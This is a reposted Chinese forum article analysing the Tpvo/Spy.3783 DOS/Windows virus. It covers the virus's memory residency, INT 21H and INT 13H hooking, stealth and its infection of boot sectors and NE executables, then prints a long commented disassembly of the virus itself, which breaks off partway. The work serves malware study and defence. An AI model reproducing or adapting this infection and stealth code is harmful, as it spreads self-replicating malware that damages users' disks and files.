发新话题
打印

[转载]Tpvo/Spy.3783病毒的分析和防治

[转载]Tpvo/Spy.3783病毒的分析和防治

文章作者:罗云彬

病毒介绍:

  TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染 WINDOWS 文件,使病毒可以在 WINDOWS 执行时驻留内存。
  该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节, 文件日期被加上 100 年作为传染标记。
  该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H 读出的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也都是正常的,但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX 七个程序读出的文件却是带毒的,所以被这些压缩程序压进文件包或用 TELIX 通过调制解调器传到其他地方的文件是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。
  该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性,用 DIR 命令可以列出。

病毒分析:

1. 驻留内存及截取中断

  该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引导区的传染,在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办法得到相应子程序的地址,然后用近调用来执行相应子程序,具体见下:
   ...
   FDC8:4198 8ADC MOV BL,AH ;AH 为子功能号
   FDC8:419A D1E3 SHL BX,1 ;放于 BX 中再乘 2
   ...
   FDC8:41EA 2E8B9F9E3E MOV BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的基地址
   FDC8:41EF 36871EEA05 XCHG BX,SS:[05EA] ;调用地址在 05EA 中
   FDC8:41F4 368E1EEC05 MOV DS,SS:[05EC]
   FDC8:41F9 36FF16EA05 CALL SS:[05EA] ;调用相应功能的子程序
   ...

  病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段的段地址,再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工反汇编 INT 21H中断程序都不一定能觉察到异常之处。
  在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在 BIOS 中随机寻找一个中断号大于 E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计算机中指向病毒程序的中断向量号都不相同。

2. 传染及其他部分

  病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病毒才进行传染。传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,病毒在传染软盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时, 病毒将原引导记录读出送回。
  病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在 57H 读写文件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染的文件, 病毒将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任何异常之处。
  当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部,文件开始指针被指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX 跳转到病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈指向病毒尾部200H处。
  下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS 执行部分和 WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS 部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE 文件报头, 第二部分为 "NE" 新格式可执行报头,有关部分说明如下:

   普通 .EXE 文件报头  18H  字    重分配表偏移( WINDOWS 文件必须大于 0040H)
                3CH  双字   "NE" 可执行报头在程序中的偏移
   "NE" 可执行报头    00H  2 字节  "NE" 符号
    (长 40H 字节)    14H  字    程序入口 IP
                16H  字    程序入口段的段地址记录号
                18H  双字   程序初始 SS:SP
                1CH  字    段地址表中的记录数
                22H  字    段地址表在程序中的偏移
                32H  字节   段大小的计数单位 (移位值)


  程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的记录号查段地址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行。 段地址表中每个记录占用 8 个字节,格式如下:

      00H  字    本段在程序中的偏移 (乘以计数单位)
                02H  字    本段的长度 (单位:字节)
                04H  字    本段的属性
                06H  字    要分配的容量 (单位:字节)


   病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中, 段地址表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没有多余字节,所以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改动的数据有:003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。

2. 病毒源码:

;====================================================================
;  DOS 可执行文件入口
;====================================================================
F6C8:0000 0E        PUSH   CS
F6C8:0001 1F        POP    DS
F6C8:0002 E80000      CALL   0005    ;重定位
F6C8:0005 5E        POP    SI
F6C8:0006 83EE05      SUB    SI,+05
F6C8:0009 56        PUSH   SI
F6C8:000A 06        PUSH   ES
F6C8:000B B87F18      MOV    AX,187F    ;检测内存驻留
F6C8:000E BB5344      MOV    BX,4453
F6C8:0011 CD21       INT    21    (DOS)
F6C8:0013 81FBA187    CMP    BX,87A1
F6C8:0017 753A       JNZ    0053
F6C8:0019 07        POP    ES    ;已驻留
F6C8:001A 5E        POP    SI    ;执行原程序
F6C8:001B 0E        PUSH   CS
F6C8:001C 1F        POP    DS
F6C8:001D 8B84870E    MOV    AX,[SI+0E87]
F6C8:0021 E8880B      CALL   0BAC
F6C8:0024 740D       JZ    0033    ;.EXE 文件转 0033
F6C8:0026 48        DEC    AX
F6C8:0027 BF0001      MOV    DI,0100    ;恢复 .COM 文件头 3 字节
F6C8:002A 57        PUSH   DI
F6C8:002B FC        CLD
F6C8:002C AB        STOSW
F6C8:002D 8A84890E    MOV    AL,[SI+0E89]
F6C8:0031 AA        STOSB
F6C8:0032 C3        RET       ;执行原 .COM 文件
F6C8:0033 8CC0       MOV    AX,ES    ;重定位 .EXE 文件
F6C8:0035 051000      ADD    AX,0010
F6C8:0038 0384950E    ADD    AX,[SI+0E95]
F6C8:003C 8ED0       MOV    SS,AX
F6C8:003E 8BA4970E    MOV    SP,[SI+0E97]
F6C8:0042 8CC0       MOV    AX,ES
F6C8:0044 051000      ADD    AX,0010
F6C8:0047 03849D0E    ADD    AX,[SI+0E9D]
F6C8:004B 50        PUSH   AX
F6C8:004C FFB49B0E    PUSH   WORD PTR [SI+0E9B]
F6C8:0050 06        PUSH   ES
F6C8:0051 1F        POP    DS
F6C8:0052 CB        RETF       ;执行原 .EXE 文件
;=======================================================================
;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0       MOV    AX,ES
F6C8:0055 48        DEC    AX    ;取 MCB
F6C8:0056 E81E00      CALL   0077    ;取最后一块MCB地址
F6C8:0059 E83200      CALL   008E    ;驻留内存
F6C8:005C 72BB       JB    0019
F6C8:005E 8ED9       MOV    DS,CX    ;截取 INT 2AH
F6C8:0060 B85103      MOV    AX,0351    ;中断到 CS:0351
F6C8:0063 8706A800    XCHG   AX,[00A8]  ;由 INT 2AH 继续引导
F6C8:0067 26        ES:
F6C8:0068 A33A04      MOV    [043A],AX  ;(转 0351)
F6C8:006B 8CC0       MOV    AX,ES
F6C8:006D 8706AA00    XCHG   AX,[00AA]
F6C8:0071 26        ES:
F6C8:0072 A33C04      MOV    [043C],AX
F6C8:0075 EBA2       JMP    0019    ;执行原程序
;========================================================================
;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF       XOR    DI,DI
F6C8:0079 8ED8       MOV    DS,AX
F6C8:007B 803D4D      CMP    BYTE PTR [DI],4D
F6C8:007E 7405       JZ    0085    ;非最后一块转 0085
F6C8:0080 803D5A      CMP    BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508       JNZ    008D
F6C8:0085 8BD8       MOV    BX,AX
F6C8:0087 034503      ADD    AX,[DI+03]
F6C8:008A 40        INC    AX
F6C8:008B EBEA       JMP    0077    ;AX 为下一块 MCB 地址
F6C8:008D C3        RET
;=========================================================================
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB       MOV    DS,BX
F6C8:0090 8B4503      MOV    AX,[DI+03]
F6C8:0093 2D3801      SUB    AX,0138    ;截取内存 1380H 字节
F6C8:0096 720E       JB    00A6
F6C8:0098 894503      MOV    [DI+03],AX
F6C8:009B 03D8       ADD    BX,AX
F6C8:009D 43        INC    BX
F6C8:009E 8EC3       MOV    ES,BX
F6C8:00A0 B9C70E      MOV    CX,0EC7    ;移动病毒 0EC7 字节
F6C8:00A3 F3        REPZ      ;到内存中
F6C8:00A4 2E        CS:
F6C8:00A5 A4        MOVSB
F6C8:00A6 C3        RET
;=====================================================================
;  引导区代码部分
;=====================================================================
F6C8:00A7 FA        CLI
F6C8:00A8 33DB       XOR    BX,BX
F6C8:00AA 8ED3       MOV    SS,BX
F6C8:00AC BC007C      MOV    SP,7C00
F6C8:00AF 8EC4       MOV    ES,SP    ;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802      MOV    AX,0208
F6C8:00B4 B90150      MOV    CX,5001    ;硬盘为 0005
F6C8:00B7 BA0000      MOV    DX,0000    ;软盘为 5001
F6C8:00BA CD13       INT    13    (BIOS Disk)
F6C8:00BC 7200       JB    00BE
F6C8:00BE 06        PUSH   ES
F6C8:00BF 68C300      PUSH   00C3    ;转高端继续执行
F6C8:00C2 CB        RETF
F6C8:00C3 E82701      CALL   01ED    ;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF   OR    WORD PTR [00A8],FFFF  ;????
F6C8:00CB 871E4C00    XCHG   BX,[004C]
F6C8:00CF 2E        CS:
F6C8:00D0 891EF800    MOV    [00F8],BX
F6C8:00D4 8CC0       MOV    AX,ES
F6C8:00D6 87064E00    XCHG   AX,[004E]  ;截取 INT 13H
F6C8:00DA 0E        PUSH   CS    ;到 CS:00FC
F6C8:00DB 1F        POP    DS
F6C8:00DC A3FA00      MOV    [00FA],AX  ;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C   MOV    BYTE PTR [00FF],3C
F6C8:00E4 C60604013C   MOV    BYTE PTR [0104],3C
F6C8:00E9 C6065805E8   MOV    BYTE PTR [0558],E8
F6C8:00EE CD19       INT    19    (BIOS Bootstrap)
;========================================================================
;病毒调用 INT 13H
F6C8:00F0 9C        PUSHF
F6C8:00F1 FA        CLI
F6C8:00F2 0E        PUSH   CS
F6C8:00F3 E80100      CALL   00F7
F6C8:00F6 C3        RET
F6C8:00F7 EA59EC00F0   JMP    F000:EC59
;=========================================================================
;  新 INT 13H 代码部分
;=========================================================================
F6C8:00FC 83C406      ADD    SP,+06
F6C8:00FF EB3D       JMP    013E  ===>  ;本句代码当病毒从 BOOT 区
F6C8:0101 60        PUSHA      ;引入时为 CMP AL,3D
F6C8:0102 1E        PUSH   DS
F6C8:0103 06        PUSH   ES
F6C8:0104 EB23       JMP    0129  ===>  ;本句代码当病毒从 BOOT 区
F6C8:0106 6A00       PUSH   0000    ;引入时为 CMP AL,23
F6C8:0108 1F        POP    DS
F6C8:0109 C41EA800    LES    BX,[00A8]
F6C8:010D 26        ES:
F6C8:010E 803FCF      CMP    BYTE PTR [BX],CF
F6C8:0111 7514       JNZ    0127    ;INT 2AH 不是 IRET
F6C8:0113 2E        CS:      ;转 0127 (013B) 执行
F6C8:0114 891E3A04    MOV    [043A],BX
F6C8:0118 2E        CS:
F6C8:0119 8C063C04    MOV    [043C],ES  ;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603  MOV    WORD PTR [00A8],0386  ;到 CS:0386
F6C8:0123 8C0EAA00    MOV    [00AA],CS
F6C8:0127 EB12       JMP    013B
;===========================================================================
F6C8:0129 B80312      MOV    AX,1203
F6C8:012C CD2F       INT    2F    (Multiplex)
F6C8:012E 8CD8       MOV    AX,DS
F6C8:0130 3D1001      CMP    AX,0110    ===>  ;本数据由 039B 填入
F6C8:0133 7406       JZ    013B    ;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E        CS:
F6C8:0136 C60604013C   MOV    BYTE PTR [0104],3C
F6C8:013B 07        POP    ES
F6C8:013C 1F        POP    DS
F6C8:013D 61        POPA
;============================================================================
;  新 INT 13H 代码部分
F6C8:013E 80FC02      CMP    AH,02
F6C8:0141 72B4       JB    00F7
F6C8:0143 80FC03      CMP    AH,03
F6C8:0146 77AF       JA    00F7
F6C8:0148 83F901      CMP    CX,+01
F6C8:014B 75AA       JNZ    00F7
F6C8:014D 0AF6       OR    DH,DH
F6C8:014F 75A6       JNZ    00F7
F6C8:0151 80FA80      CMP    DL,80    ;不是读引导区
F6C8:0154 77A1       JA    00F7    ;转原 INT 13H
F6C8:0156 E897FF      CALL   00F0    ;读出引导区
F6C8:0159 7235       JB    0190
F6C8:015B 60        PUSHA
F6C8:015C 1E        PUSH   DS
F6C8:015D 06        PUSH   ES
F6C8:015E 9C        PUSHF
F6C8:015F 06        PUSH   ES
F6C8:0160 8BF3       MOV    SI,BX
F6C8:0162 06        PUSH   ES
F6C8:0163 1F        POP    DS
F6C8:0164 BF7711      MOV    DI,1177
F6C8:0167 0E        PUSH   CS
F6C8:0168 07        POP    ES
F6C8:0169 B90001      MOV    CX,0100    ;保存原引导区到
F6C8:016C F3        REPZ      ;CS:1177
F6C8:016D A5        MOVSW
F6C8:016E 0E        PUSH   CS
F6C8:016F 1F        POP    DS
F6C8:0170 BF7711      MOV    DI,1177
F6C8:0173 817D468EC4   CMP    WORD PTR [DI+46],C48E
F6C8:0178 07        POP    ES
F6C8:0179 7518       JNZ    0193    ;未感染转 0193
F6C8:017B B80102      MOV    AX,0201    ;已感染则读出
F6C8:017E 8B4D4C      MOV    CX,[DI+4C]  ;原引导区
F6C8:0181 8A7550      MOV    DH,[DI+50]
F6C8:0184 80C108      ADD    CL,08
F6C8:0187 9D        POPF
F6C8:0188 E865FF      CALL   00F0
F6C8:018B 9C        PUSHF
F6C8:018C 9D        POPF
F6C8:018D 07        POP    ES
F6C8:018E 1F        POP    DS
F6C8:018F 61        POPA
F6C8:0190 CA0200      RETF   0002
;=========================================================================
;病毒传染引导区代码部分
F6C8:0193 0E        PUSH   CS
F6C8:0194 07        POP    ES
F6C8:0195 B90500      MOV    CX,0005
F6C8:0198 0AD2       OR    DL,DL
F6C8:019A 7812       JS    01AE    ;硬盘转 01AE
F6C8:019C B80A05      MOV    AX,050A    ;传染软盘引导区部分
F6C8:019F B550       MOV    CH,50    ;格式化第 50H 磁道
F6C8:01A1 32F6       XOR    DH,DH
F6C8:01A3 BB4D0E      MOV    BX,0E4D
F6C8:01A6 E847FF      CALL   00F0
F6C8:01A9 7240       JB    01EB
F6C8:01AB B90150      MOV    CX,5001
F6C8:01AE 890EB500    MOV    [00B5],CX
F6C8:01B2 52        PUSH   DX
F6C8:01B3 80E280      AND    DL,80
F6C8:01B6 8916B800    MOV    [00B8],DX
F6C8:01BA 5A        POP    DX
F6C8:01BB B80803      MOV    AX,0308    ;写病毒到磁盘
F6C8:01BE 33DB       XOR    BX,BX
F6C8:01C0 E82DFF      CALL   00F0
F6C8:01C3 7226       JB    01EB
F6C8:01C5 B80103      MOV    AX,0301    ;保存原引导区
F6C8:01C8 BB7711      MOV    BX,1177
F6C8:01CB 80C108      ADD    CL,08
F6C8:01CE E81FFF      CALL   00F0
F6C8:01D1 7218       JB    01EB
F6C8:01D3 C707EB3C    MOV    WORD PTR [BX],3CEB
F6C8:01D7 BEA700      MOV    SI,00A7
F6C8:01DA 8D7F3E      LEA    DI,[BX+3E]
F6C8:01DD B91C00      MOV    CX,001C
F6C8:01E0 F3        REPZ
F6C8:01E1 A4        MOVSB
F6C8:01E2 B80103      MOV    AX,0301
F6C8:01E5 B90100      MOV    CX,0001
F6C8:01E8 E805FF      CALL   00F0    ;写病毒到引导区
F6C8:01EB EB9F       JMP    018C    ;返回调用处
;========================================================================
;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1.  在 BIOS 中找一个 > 80号的 INT XX 代码
;    将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
;     2.  在 0000:04FB 中写下 JMP 原 INT 13
;    再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6       XOR    SI,SI
F6C8:01EF B800F0      MOV    AX,F000
F6C8:01F2 8ED8       MOV    DS,AX
F6C8:01F4 8EC0       MOV    ES,AX
F6C8:01F6 4E        DEC    SI
F6C8:01F7 741F       JZ    0218
F6C8:01F9 803CCD      CMP    BYTE PTR [SI],CD
F6C8:01FC 75F8       JNZ    01F6    ;找一个 INT 代码
F6C8:01FE 3A4401      CMP    AL,[SI+01]
F6C8:0201 73F3       JNB    01F6
F6C8:0203 807C01E0    CMP    BYTE PTR [SI+01],E0
F6C8:0207 73ED       JNB    01F6    ;小于 INT E0 继续找
F6C8:0209 864401      XCHG   AL,[SI+01]
F6C8:020C 864401      XCHG   AL,[SI+01]
F6C8:020F 3A4401      CMP    AL,[SI+01]  ;保存 INT 号于 AL 中
F6C8:0212 75E2       JNZ    01F6    ;不在 BIOS 中继续找
F6C8:0214 8BDE       MOV    BX,SI    ;保存地址于 BX 中
F6C8:0216 EBDE       JMP    01F6
F6C8:0218 8EDE       MOV    DS,SI
F6C8:021A 3C80       CMP    AL,80    ;在 BIOS 中未找到
F6C8:021C 720C       JB    022A    ;INT ?? 代码转 022A
F6C8:021E 2E        CS:
F6C8:021F C606FE0006   MOV    BYTE PTR [00FE],06  ;ADD SP,6
F6C8:0224 B404       MOV    AH,04    ;丢弃 INT XX 之返回地址
F6C8:0226 F6E4       MUL    AH    ;AX 为中断向量表中地址
F6C8:0228 EB14       JMP    023E
F6C8:022A 2E        CS:
F6C8:022B C606FE0000   MOV    BYTE PTR [00FE],00
F6C8:0230 6A00       PUSH   0000
F6C8:0232 1F        POP    DS    ;在 0000:04FB 中写下
F6C8:0233 1E        PUSH   DS    ;代码 JMP CS:00FC
F6C8:0234 07        POP    ES
F6C8:0235 BBFB04      MOV    BX,04FB
F6C8:0238 C607EA      MOV    BYTE PTR [BX],EA
F6C8:023B B8FC04      MOV    AX,04FC
F6C8:023E 2E        CS:
F6C8:023F A34502      MOV    [0245],AX
F6C8:0242 EB00       JMP    0244
F6C8:0244 BE0003      MOV    SI,0300    ;值由上决定
F6C8:0247 C704FC00    MOV    WORD PTR [SI],00FC
F6C8:024B 8C4C02      MOV    [SI+02],CS  ;设新 INT 13H 向量
F6C8:024E C3        RET       ;到 CS:00FC
;==========================================================================
F6C8:024F 50        PUSH   AX    ;不详
F6C8:0250 51        PUSH   CX
F6C8:0251 52        PUSH   DX
F6C8:0252 B91000      MOV    CX,0010
F6C8:0255 F7E1       MUL    CX
F6C8:0257 8BCA       MOV    CX,DX
F6C8:0259 92        XCHG   AX,DX
F6C8:025A B80700      MOV    AX,0007
F6C8:025D CD31       INT    31    (DPMI API)
F6C8:025F 5A        POP    DX
F6C8:0260 59        POP    CX
F6C8:0261 58        POP    AX
F6C8:0262 C3        RET
;==========================================================================
;  WINDOWS 文件开始执行入口
;==========================================================================
F6C8:0263 60        PUSHA
F6C8:0264 1E        PUSH   DS
F6C8:0265 06        PUSH   ES
F6C8:0266 E80000      CALL   0269    ;重定位
F6C8:0269 5E        POP    SI
F6C8:026A 81EE6902    SUB    SI,0269
F6C8:026E B87F18      MOV    AX,187F    ;内存驻留校验
F6C8:0271 BB5344      MOV    BX,4453
F6C8:0274 CD21       INT    21    (DOS)
F6C8:0276 81FBA187    CMP    BX,87A1
F6C8:027A 7503       JNZ    027F    ;已驻留转 0328
F6C8:027C E9A900      JMP    0328
F6C8:027F 33C0       XOR    AX,AX    ;
F6C8:0281 B90100      MOV    CX,0001
F6C8:0284 CD31       INT    31    (DPMI API)
F6C8:0286 93        XCHG   AX,BX
F6C8:0287 B80800      MOV    AX,0008
F6C8:028A CD31       INT    31    (DPMI API)
F6C8:028C 40        INC    AX
F6C8:028D B1F2       MOV    CL,F2
F6C8:028F CD31       INT    31    (DPMI API)
F6C8:0291 8EDB       MOV    DS,BX
F6C8:0293 B452       MOV    AH,52
F6C8:0295 CD21       INT    21    (DOS)
F6C8:0297 26        ES:
F6C8:0298 8B47FE      MOV    AX,[BX-02]
F6C8:029B 33FF       XOR    DI,DI
F6C8:029D 33D2       XOR    DX,DX
F6C8:029F 8CDB       MOV    BX,DS
F6C8:02A1 E8ABFF      CALL   024F
F6C8:02A4 803D4D      CMP    BYTE PTR [DI],4D
F6C8:02A7 7405       JZ    02AE
F6C8:02A9 803D5A      CMP    BYTE PTR [DI],5A
F6C8:02AC 7521       JNZ    02CF
F6C8:02AE 8BE8       MOV    BP,AX
F6C8:02B0 8B4508      MOV    AX,[DI+08]
F6C8:02B3 0D2020      OR    AX,2020
F6C8:02B6 3D7769      CMP    AX,6977
F6C8:02B9 750C       JNZ    02C7
F6C8:02BB 8B450A      MOV    AX,[DI+0A]
F6C8:02BE 0C20       OR    AL,20
F6C8:02C0 3D6E00      CMP    AX,006E
F6C8:02C3 7502       JNZ    02C7
F6C8:02C5 8BD5       MOV    DX,BP
F6C8:02C7 8BC5       MOV    AX,BP
F6C8:02C9 034503      ADD    AX,[DI+03]
F6C8:02CC 40        INC    AX
F6C8:02CD EBD0       JMP    029F
F6C8:02CF 95        XCHG   AX,BP
F6C8:02D0 E87CFF      CALL   024F
F6C8:02D3 816D033801   SUB    WORD PTR [DI+03],0138
F6C8:02D8 034503      ADD    AX,[DI+03]
F6C8:02DB 40        INC    AX
F6C8:02DC E870FF      CALL   024F
F6C8:02DF 8EC3       MOV    ES,BX
F6C8:02E1 95        XCHG   AX,BP
F6C8:02E2 B80A00      MOV    AX,000A
F6C8:02E5 8CCB       MOV    BX,CS
F6C8:02E7 CD31       INT    31    (DPMI API)
F6C8:02E9 8ED8       MOV    DS,AX
F6C8:02EB B97D0E      MOV    CX,0E7D
F6C8:02EE F3        REPZ
F6C8:02EF A4        MOVSB
F6C8:02F0 8CDB       MOV    BX,DS
F6C8:02F2 91        XCHG   AX,CX
F6C8:02F3 E859FF      CALL   024F
F6C8:02F6 B85103      MOV    AX,0351
F6C8:02F9 8706A800    XCHG   AX,[00A8]
F6C8:02FD 26        ES:
F6C8:02FE A33A04      MOV    [043A],AX
F6C8:0301 55        PUSH   BP
F6C8:0302 872EAA00    XCHG   BP,[00AA]
F6C8:0306 26        ES:
F6C8:0307 892E3C04    MOV    [043C],BP
F6C8:030B 5D        POP    BP
F6C8:030C 92        XCHG   AX,DX
F6C8:030D 0BC0       OR    AX,AX
F6C8:030F 7417       JZ    0328
F6C8:0311 E83BFF      CALL   024F
F6C8:0314 B83003      MOV    AX,0330
F6C8:0317 87061A00    XCHG   AX,[001A]
F6C8:031B 26        ES:
F6C8:031C A34D03      MOV    [034D],AX
F6C8:031F 872E1C00    XCHG   BP,[001C]
F6C8:0323 26        ES:
F6C8:0324 892E4F03    MOV    [034F],BP
F6C8:0328 07        POP    ES
F6C8:0329 1F        POP    DS
F6C8:032A 61        POPA
F6C8:032B EA0000FFFF   JMP    FFFF:0000
F6C8:0330 50        PUSH   AX
F6C8:0331 1E        PUSH   DS
F6C8:0332 6A00       PUSH   0000
F6C8:0334 1F        POP    DS
F6C8:0335 B88603      MOV    AX,0386
F6C8:0338 8706A800    XCHG   AX,[00A8]
F6C8:033C 2E        CS:
F6C8:033D A33A04      MOV    [043A],AX
F6C8:0340 8CC8       MOV    AX,CS
F6C8:0342 8706AA00    XCHG   AX,[00AA]
F6C8:0346 2E        CS:
F6C8:0347 A33C04      MOV    [043C],AX
F6C8:034A 1F        POP    DS
F6C8:034B 58        POP    AX
F6C8:034C EAB1022805   JMP    0528:02B1
;==========================================================================
;  文件驻留引入 INT 2A 代码部分
;  初始化时使用
;==========================================================================
F6C8:0351 60        PUSHA
F6C8:0352 1E        PUSH   DS
F6C8:0353 06        PUSH   ES
F6C8:0354 2E        CS:
F6C8:0355 C606FF00EB   MOV    BYTE PTR [00FF],EB  ;INT 13H
F6C8:035A 2E        CS:        ;不检测
F6C8:035B C60658053D   MOV    BYTE PTR [0558],3D  ;INT 21H 不检测
F6C8:0360 B80016      MOV    AX,1600    ;WINDOWS 增强模式检验
F6C8:0363 CD2F       INT    2F
F6C8:0365 0AC0       OR    AL,AL
F6C8:0367 7505       JNZ    036E    ;WINDOWS 运行转 036E
F6C8:0369 E881FE      CALL   01ED    ;随机生成 INT 13H 地址
F6C8:036C EB03       JMP    0371
F6C8:036E E8B9FE      CALL   022A    ;随机生成 INT 13H 地址
F6C8:0371 B80013      MOV    AX,1300    ;取得原 INT 13H 地址
F6C8:0374 8BD3       MOV    DX,BX    ;并设置新 INT 13H 地址
F6C8:0376 06        PUSH   ES
F6C8:0377 1F        POP    DS    ;INT 2F 之 1300 功能
F6C8:0378 CD2F       INT    2F    ;入口  ES:BX 及 DS:DX
F6C8:037A 2E        CS:      ;为新 INT 13H 地址
F6C8:037B 8916F800    MOV    [00F8],DX  ;出口  ES:BX 及 DS:DX
F6C8:037F 2E        CS:      ;为旧 INT 13H 地址
F6C8:0380 8C1EFA00    MOV    [00FA],DS
F6C8:0384 EB03       JMP    0389    ;转截取 INT 21H (0389)
;==========================================================================
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60        PUSHA
F6C8:0387 1E        PUSH   DS
F6C8:0388 06        PUSH   ES
;==========================================================================
;截取 INT 21H 代码部分
F6C8:0389 B80312      MOV    AX,1203    ;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F       INT    2F    ;返回段地址 = DS
F6C8:038E 8CD8       MOV    AX,DS
F6C8:0390 8CD6       MOV    SI,SS
F6C8:0392 2BF0       SUB    SI,AX
F6C8:0394 7403       JZ    0399    ;在 MSDOS.SYS 中执行
F6C8:0396 E99D00      JMP    0436    ;转 0399, 否则退出
F6C8:0399 0E        PUSH   CS
F6C8:039A 1F        POP    DS
F6C8:039B A33101      MOV    [0131],AX
F6C8:039E C606C00DEB   MOV    BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB   MOV    BYTE PTR [0104],EB
F6C8:03A8 C4063A04    LES    AX,[043A]
F6C8:03AC 8EDE       MOV    DS,SI
F6C8:03AE A3A800      MOV    [00A8],AX
F6C8:03B1 8C06AA00    MOV    [00AA],ES  ;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC       MOV    BP,SP
F6C8:03B7 8E5E16      MOV    DS,[BP+16]  ;调用代码段
F6C8:03BA 83FE80      CMP    SI,-80    ;为 INT 21 的代码段
F6C8:03BD 7777       JA    0436
F6C8:03BF AC        LODSB
F6C8:03C0 3C2E       CMP    AL,2E    ;找 2E 8B 9F xx xx
F6C8:03C2 75F6       JNZ    03BA    ;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD        LODSW
F6C8:03C5 3D8B9F      CMP    AX,9F8B
F6C8:03C8 75F0       JNZ    03BA
F6C8:03CA AD        LODSW      ;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E        CS:      ;转换表基址
F6C8:03CC A35111      MOV    [1151],AX  ;保存地址于 1151
F6C8:03CF B93000      MOV    CX,0030
F6C8:03D2 4E        DEC    SI
F6C8:03D3 AD        LODSW
F6C8:03D4 3D871E      CMP    AX,1E87    ;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9       LOOPNE  03D2
F6C8:03D9 E3DF       JCXZ   03BA
F6C8:03DB AD        LODSW
F6C8:03DC 2E        CS:
F6C8:03DD A35311      MOV    [1153],AX  ;调用 INT 21 子功能地址
F6C8:03E0 46        INC    SI    ;找 36 FF 16 xx xx
F6C8:03E1 813C36FF    CMP    WORD PTR [SI],FF36
F6C8:03E5 E0F9       LOOPNE  03E0    ;即 CALL SS:[xxxx]
F6C8:03E7 E3D1       JCXZ   03BA
